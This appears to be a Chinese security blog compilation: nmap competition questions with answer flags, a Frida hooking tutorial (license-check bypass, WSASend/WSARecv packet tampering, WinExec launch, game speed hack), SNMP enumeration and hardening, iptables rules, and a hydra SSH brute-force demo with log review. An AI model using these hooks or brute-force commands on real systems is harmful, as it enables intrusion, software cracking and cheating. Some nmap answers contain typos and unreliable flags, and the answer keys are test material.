提交；（答案：sX）nmap -n -sX 192.168.20.1344.通过 BT5 对服务器场景 Linux 进行圣诞树（Xmas Tree）扫描（使用工具 Nmap，使用参数n，使用必须要使用的参数），并将该操作显示结果中从下往上数第 5 行的服务名称作为 Flag 提交；（答案：https）nmap -n -sX 192.168.20.1345.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试（使用工具Nmap，使用参数 n，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：PS）nmap -n -PS 192.168.20.1346.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试（使用工具Nmap，使用必须要使用的参数），并将该操作显示结果中从下往上数第 8 行的服务状态作为 Flag 提交；（答案：open）namp -n -PS 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 ACK 和 ICMP 两种扫描类型并行的扫描渗透测试（使用工具 Nmap，使用必须要使用的参数）,并将该操作使用命令中必须要使用的参数作为 Flag提交；（答案：PB）nmap -n -PB 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 ACK 和 ICMP 两种扫描类型并行的扫描渗透测试（使用工具 Nmap，使用必须要使用的参数）,并将该操作显示结果中从下往上数第 3 行的服务名称作为 Flag 提交；（答案：mysql）nmap -n -PB 192.168.20.134总结参数说明-n禁止DNS反向解析-sX圣诞树扫描-PSTCP SYN 扫描-PBACP ICMP 扫描任务三1.在Kali中使用Nmap工具查看本地路由与接口,并将该操作使用的全部命令作为Flag提交；（答案：iflist）nmap -iflist 192.168.20.1342.通过 Kali 对服务器场景 Linux 进行 VNC 服务扫描渗透测试，并将使用的脚本名称作为 Flag 提交（例 MySQL-brute.nse）；（答案：vnc-info.nse）cd /usr/share/nmap/scripts ls | grep vnc待更新...FTP弱口令1.在本地 PC 渗透测试平台 kali 中使用 zenmap 工具扫描服务器场景 Server18-1 所在网段(例如：172.16.101.0/24)范围内存活的主机 IP 地址和指定开放的 21、22、23 端口。并将该操作使用的命令中必须要添加的字符串作为 FLAG 提交（忽略 ip 地址）；（答案：-p 21,22,23）nmap 192.168.20.134 -p 21,22,232.通过本地 PC 中渗透测试平台 kali 对服务器场景 Server18-1 进行系统服务及版本扫描渗透测试，并将该操作显示结果中 FTP 服务对应的服务端口信息作为 FLAG 提交；（答案：ssh）
简介Frida是一款基于Python + JavaScript 的hook框架，本质是一种动态插桩技术。可以用于Android、Windows、iOS等各大平台，其执行脚本基于Python或者Node.js写成，而注入代码用JavaScript写成，所以有必要了解一些这些语言的语法。本文简单讲述Frida框架的使用。Windows修改函数返回#include <stdio.h> int license() { return 0; } int main() { if(license() == 1) { printf("%s", "你做到了~"); }else{ printf("%s", "你失败了！"); } return 0; }这里我用C语言编写一个简单的例子，尝试hook函数的返回值修改为 1。objdump -M intel -d Demo | grep call这里我用 objdump 进行过滤反汇编代码，我的习惯用全局过滤 call 看看都调用了哪些函数，因为有的编译是不显示函数名称的，也就无法判断其函数的用途。这里通过调用 license() 函数判断返回值，那么只要 hook 0x1139 这个地址的返回值，就能改变判断执行的流程。var moduleName = "demo"; var baseAddress = Module.findBaseAddress(moduleName); var absoluteAddress = baseAddress.add(0x1139); Interceptor.attach(absoluteAddress, { onLeave: function(retval) { retval.replace(1); console.log("\n"); } });frida -l code.js -f demo因为程序是一运行就执行，这里用这种办法来带动程序执行并进行hook。frida-tracefrida-trace -f demo -i "printf"可以利用 frida-trace 监听函数调用和获取参数等等一系列操作。WSASend Hook// 自适应旧数据大小 Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSASend'), { onEnter: function (args) { var hexDataWithSpaces = "00 00 00 BD 00 14 00 02 "; function hexStringWithSpacesToBytes(hexStr) { var hexValues = hexStr.replace(/\s+/g, '').match(/.{1,2}/g); var bytes = []; for (var i = 0; i < hexValues.length; i++) { bytes.push("0x" + hexValues[i]); } return bytes; } var socket = args[0].toInt32(); var sockaddr_in = Memory.alloc(16); var sockaddr_in_size = Memory.alloc(4); Memory.writeU32(sockaddr_in_size, 16); var getpeername = Module.getExportByName('Ws2_32.dll', 'getpeername'); var result = new NativeFunction(getpeername, 'int', ['int', 'pointer', 'pointer'])(socket, sockaddr_in, sockaddr_in_size); if (result === 0) { var ip = Memory.readU32(sockaddr_in.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); console.log("[+] IP Address: " + ipStr); } else { console.log("[-] Failed to retrieve IP address"); } var lpBuffers = args[1]; var dwBufferCount = args[2].toInt32(); for (var i = 0; i < dwBufferCount; i++) { var lpBuffer = lpBuffers.add(i * Process.pointerSize * 2); var bufLen = Memory.readU32(lpBuffer); if (bufLen === 173) { console.log("[+] Length=" + bufLen); var newData = hexStringWithSpacesToBytes(hexDataWithSpaces); var newDataLength = newData.length; var newBufPtr = Memory.alloc(1024); Memory.writeByteArray(newBufPtr.add(24), newData); Memory.writePointer(lpBuffer.add(Process.pointerSize), newBufPtr.add(24)); Memory.writeU32(lpBuffer, newDataLength); var modifiedData = Memory.readByteArray(newBufPtr.add(24), newDataLength); console.log(modifiedData); } } } });WSARcev Hook// 自适应旧数据大小 var buff = Memory.alloc(0x6) Memory.writeByteArray(buff, [0x32,0x32,0x32,0x32,0x32,0x32]); Interceptor.attach(Module.getExportByName('Ws2_32.dll', 'WSARecv'), { onEnter: function (args) { this.lpBuffersPtr = args[1]; this.lpNumberOfBytesRecvd = args[3]; }, onLeave: function (retval) { var lenPtr = Memory.readPointer(this.lpNumberOfBytesRecvd); var buflen = parseInt(lenPtr, 16); if (buflen == 2) { Memory.writePointer(this.lpBuffersPtr.add(Process.pointerSize), buff); ptr(this.lpNumberOfBytesRecvd).writeUInt(0x6); } } });frida -p 2085 -l WSARcev.jsJmp Hookvar baseAddress = ptr('0x4010F5'); var jmpAddress = ptr('0x4010FB'); var offset = jmpAddress.sub(baseAddress.add(5).toInt32()); var jmpOpcode = [ 0xE9, offset & 0xFF, (offset >> 8) & 0xFF, (offset >> 16) & 0xFF, (offset >> 24) & 0xFF ]; Memory.protect(baseAddress, 8, 'rw-'); Memory.writeByteArray(baseAddress, jmpOpcode);系统提权var path = 'C:/Users/28729/Desktop/main.exe'; // 替换你要执行的程序路径（不能包含中文字符） var module = Process.getModuleByName('kernel32.dll'); var WinExec = module.findExportByName('WinExec'); var WinExec = new NativeFunction(WinExec,'int', ['pointer', 'uint32']); WinExec(Memory.allocUtf8String(path), 5); console.log(WinExec.toString());端口修改Interceptor.attach(Module.getExportByName('ws2_32.dll', 'connect'), { onEnter: function(args) { var sockaddr = args[1]; var ip = Memory.readU32(sockaddr.add(4)); var ipStr = ((ip & 0xFF)) + '.' + ((ip >> 8) & 0xFF) + '.' + ((ip >> 16) & 0xFF) + '.' + ((ip >> 24) & 0xFF); // 修改端口为 80 (0x0050) Memory.writeU16(sockaddr.add(2), 0x0050); var modifiedPort = Memory.readU16(sockaddr.add(2)); console.log("[+] Modified to connect to: " + ipStr + ":" + modifiedPort); } });变速齿轮变速原理变速齿轮的原理 变速齿轮（变速精灵）通过修改游戏运行时的时间流逝速度，实现加速或减速效果。其核心思路是拦截并修改游戏调用的时间相关函数的返回值。关键时间函数 大部分游戏依赖Windows提供的计时器API来获取时间流逝数据，常用的函数包括：GetTickCount: 获取系统启动后经过的毫秒数。timeGetTime: 获取自系统启动以来的时间，单位为毫秒。这些函数在游戏中用于时间逻辑和动画刷新等。Hook技术的应用 为实现变速功能，需要使用Hook技术拦截上述API函数：在返回值的基础上加上变速比例。例如，将时间流逝的速度乘以一个比例系数（如2倍速或0.5倍速）。修改后的返回值会被游戏程序使用，从而达到加速或减速效果。实现效果 修改计时器函数返回值后：游戏中的时间会按照设定的速度流逝。动画、技能冷却、任务时间等都会受到影响。注意事项对API函数的Hook需要精确，避免引起其他程序崩溃。修改速度可能会影响游戏网络同步或反作弊机制，因此需要谨慎使用。通过Hook系统的计时器API（如GetTickCount、timeGetTime），改变游戏对时间的感知速度，从而实现游戏变速功能。这种方式通用于大多数基于Windows计时器的游戏程序。推荐下 Cheat Engine，这个工具也可以实现。Cheat Engine 此源码仅支持 64位 Python。{cloud title="变速精灵" type="bd" url="https://pan.baidu.com/s/1byEIfi3HHoZaMKy5jibVyw?pwd=2085" password=""/}AndroidHook okhttp3Java.perform(function () { var RequestBuilder = Java.use("okhttp3.Request$Builder"); var Buffer = Java.use("okio.Buffer"); RequestBuilder.build.implementation = function () { var request = this.build(); var body = request.body(); if (body != null) { var buffer = Buffer.$new(); body.writeTo(buffer); var raw_body = buffer.readUtf8(); console.log("=== HTTP Request ==="); console.log("URL: " + request.url().toString()); console.log("Body: " + raw_body); } return request; }; });so 加载检测function hook_dlopen() { Interceptor.attach(Module.findExportByName(null, "android_dlopen_ext"), { onEnter: function(args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); console.log("Loaded: " + path); } } }); }var dlopen = Module.findExportByName(null, "dlopen"); // 6.0 var android_dlopen_ext = Module.findExportByName(null, "android_dlopen_ext"); // 8.1+ Interceptor.attach(dlopen, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen onLeave => " + this.path + " > 加载完成"); } }); Interceptor.attach(android_dlopen_ext, { onEnter: function (args) { var path_ptr = args[0]; this.path = ptr(path_ptr).readCString(); console.log("[+] dlopen_ext onEnter => " + this.path + " > 开始加载"); }, onLeave: function (retval) { console.log("[-] dlopen_ext onLeave => " + this.path + " > 加载完成"); } });其它-JS逆向Hook 解析参数// === JSON.parse (解密后) === var _json_parse = JSON.parse; JSON.parse = function (text, reviver) { console.log("JSON.parse:", text); debugger; return _json_parse.call(this, text, reviver); }; // === JSON.stringify (加密前) === var _json_stringify = JSON.stringify; JSON.stringify = function (value, replacer, space) { console.log("JSON.stringify:", value); debugger; return _json_stringify.call(this, value, replacer, space); }; // === XMLHttpRequest (发送 & 接收) === (function() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; this._method = method; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { console.log(`XHR Request [${this._method}] ${this._url}`, body); this.addEventListener("load", function() { console.log(`XHR Response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; })(); // === fetch (发送 & 接收) === var _fetch = fetch; fetch = function(input, init) { console.log("fetch Request:", input, init && init.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); let text = await clone.text(); console.log("fetch Response:", text); return res; }); }; // === WebSocket (发送 & 接收) === var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function(data) { console.log("WS Send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function(...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function(event) { console.log("WS Message:", event.data); }); return ws; };Hook 原生加密解密// === CryptoJS AES 加密 / 解密 === if (window.CryptoJS && CryptoJS.AES) { var _aes_encrypt = CryptoJS.AES.encrypt; CryptoJS.AES.encrypt = function (msg, key, cfg) { console.log("AES encrypt input:", msg); debugger; return _aes_encrypt.apply(this, arguments); }; var _aes_decrypt = CryptoJS.AES.decrypt; CryptoJS.AES.decrypt = function (ciphertext, key, cfg) { console.log("AES decrypt input:", ciphertext); var result = _aes_decrypt.apply(this, arguments); console.log("AES decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === CryptoJS RC4 加密 / 解密 === if (window.CryptoJS && CryptoJS.RC4) { var _rc4_encrypt = CryptoJS.RC4.encrypt; CryptoJS.RC4.encrypt = function (msg, key) { console.log("RC4 encrypt input:", msg); debugger; return _rc4_encrypt.apply(this, arguments); }; var _rc4_decrypt = CryptoJS.RC4.decrypt; CryptoJS.RC4.decrypt = function (ciphertext, key) { console.log("RC4 decrypt input:", ciphertext); var result = _rc4_decrypt.apply(this, arguments); console.log("RC4 decrypt output:", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } // === Base64 === var _atob = atob; window.atob = function (str) { console.log("Base64 decode input:", str); var result = _atob(str); console.log("Base64 decode output:", result); debugger; return result; }; var _btoa = btoa; window.btoa = function (str) { console.log("Base64 encode input:", str); debugger; return _btoa(str); };Hook 网络通信函数// ===== Hook fetch API ===== // 拦截并打印 fetch 请求和响应 function hookFetch() { var _fetch = fetch; fetch = function (input, init) { console.log("fetch request:", input, init?.body); return _fetch.apply(this, arguments).then(async res => { let clone = res.clone(); console.log("fetch response:", await clone.text()); return res; }); }; } // ===== Hook XMLHttpRequest API ===== // 拦截并打印 XHR 请求和响应 function hookXHR() { var _open = XMLHttpRequest.prototype.open; var _send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url) { this._method = method; this._url = url; return _open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { console.log(`XHR [${this._method}] ${this._url}`, body); this.addEventListener("load", () => { console.log(`XHR response [${this._method}] ${this._url}`, this.responseText); }); return _send.apply(this, arguments); }; } // ===== Hook WebSocket API ===== // 拦截并打印 WebSocket 收发数据 function hookWebSocket() { var _ws_send = WebSocket.prototype.send; WebSocket.prototype.send = function (data) { console.log("WS send:", data); return _ws_send.apply(this, arguments); }; var _WebSocket = window.WebSocket; window.WebSocket = function (...args) { var ws = new _WebSocket(...args); ws.addEventListener("message", function (event) { console.log("WS message:", event.data); }); return ws; }; } // ===== Hook WebRTC send ===== // 拦截 WebRTC 数据 function hookWebRTC() { if (window.RTCPeerConnection) { var _send = RTCDataChannel.prototype.send; RTCDataChannel.prototype.send = function (data) { console.log("WebRTC send:", data); return _send.apply(this, arguments); }; } }
简介SNMP（Simple Network Management Protocol），即简单网络管理协议，是一种用于网络设备管理的应用层协议。它允许网络管理员监视、配置和控制网络中的设备，以确保网络的正常运行和性能优化。nmap -p161 -sU 192.168.1.6扫描下 snmp 这个服务，发现是打开的。nmap -sU -p161 --script=snmp-netstat 192.168.1.6 //获取网络端口状态 nmap -sU -p161 --script=snmp-sysdescr 192.168.1.6 //获取系统信息 nmap -sU -p161 --script=snmp-win32-user 192.168.1.6 //获取用户信息输入 netstat 来获取网络端口，发现存在弱口令问题。Windows 加固进入到服务里找到 "SNMP Service"，进行更改社区名称默认 "public" 改的复杂点就行。修改后就生效了，扫描发现已经没有了，不放心可以重启下服务。nmap -sU -p161 -script=snmp-netstat 192.168.1.6
简介iptables主要功能是实现对网络数据包进出设备及转发的控制。当数据包需要进入设备、从设备中流出或者经该设备转发、路由时，都可以使用iptables进行控制。应用软件处理逻辑运行于通用硬件平台之上的防火墙，性能比硬件防火墙低。详解Kali有三个处理动作（INPUT、OUTPUT、FORWARD）。INPUT 数据包进入FORWARD 转发关卡OUTPUT 数据包出口参数L, --list [chain]：列出规则；-v, --verbose：详细信息；-vv， -vvv 更加详细的信息-n, --numeric：数字格式显示主机地址和端口号；-x, --exact：显示计数器的精确值；--line-numbers：列出规则时，显示其在链上的相应的编号；-S, --list-rules [chain]：显示指定链的所有规则；-N, --new-chain chain：新建一个自定义的规则链；-X, --delete-chain [chain]：删除用户自定义的引用计数为0的空链；-F, --flush [chain]：清空指定的规则链上的规则；-E, --rename-chain old-chain new-chain：重命名链；-Z, --zero [chain [rulenum]]：置零计数器；-P, --policy chain target， 设置链路的默认策略-A, --append chain rule-specification：追加新规则于指定链的尾部；-I, --insert chain [rulenum] rule-specification：插入新规则于指定链的指定位置，默认为首部；-R, --replace chain rulenum rule-specification：替换指定的规则为新的规则；-D, --delete chain rulenum：根据规则编号删除规则；// 查看启动状态 service iptables status // 停止iptables service iptables stop // 重启iptables(重启其实就是先stop再start) service iptables restart // 重载就是重新加载配置的规则，在这里貌似跟重启一样 service iptables reload// 直接拒绝icmp 的请求包 iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT // 直接丢弃 icmp 的请求包 iptables -A INPUT -p icmp --icmp-type echo-request -j DROP // 禁止主机的ping功能 iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP // 防止nmap端口扫描 iptables -t filter -I INPUT -s 192.168.112.130 -p tcp -m tcp --dport 22 --tcp-flags ALL SYN -j REJECT // 删除iptables中的记录 iptables -t filter -D INPUT 0保存规则自启动iptables-save > /etc/iptables/rules.v4sudo apt-get update sudo apt-get install iptables-persistent // 安装默认 yes 即可 sudo netfilter-persistent save // 如有新增加规则，执行保存系统启动时自动应用规则，安装 iptables-persistent。
ssh爆破登录首先准备一下要爆破的目标，这里就用centos进行演示，以上是安装ssh服务的过程。hydra -l root -P pass.txt 192.168.213.135 ssh这里爆破下ssh协议目标用户是root，密码就用自己写的字典进行爆破，只是做个演示。系统日志grep "password for root" secure最终我们在检查日志后发现，通过ssh登录的root用户已被进行了密码爆破攻击，要查哪个用户过滤规则就该下比如：passowrd for shadow。web日志...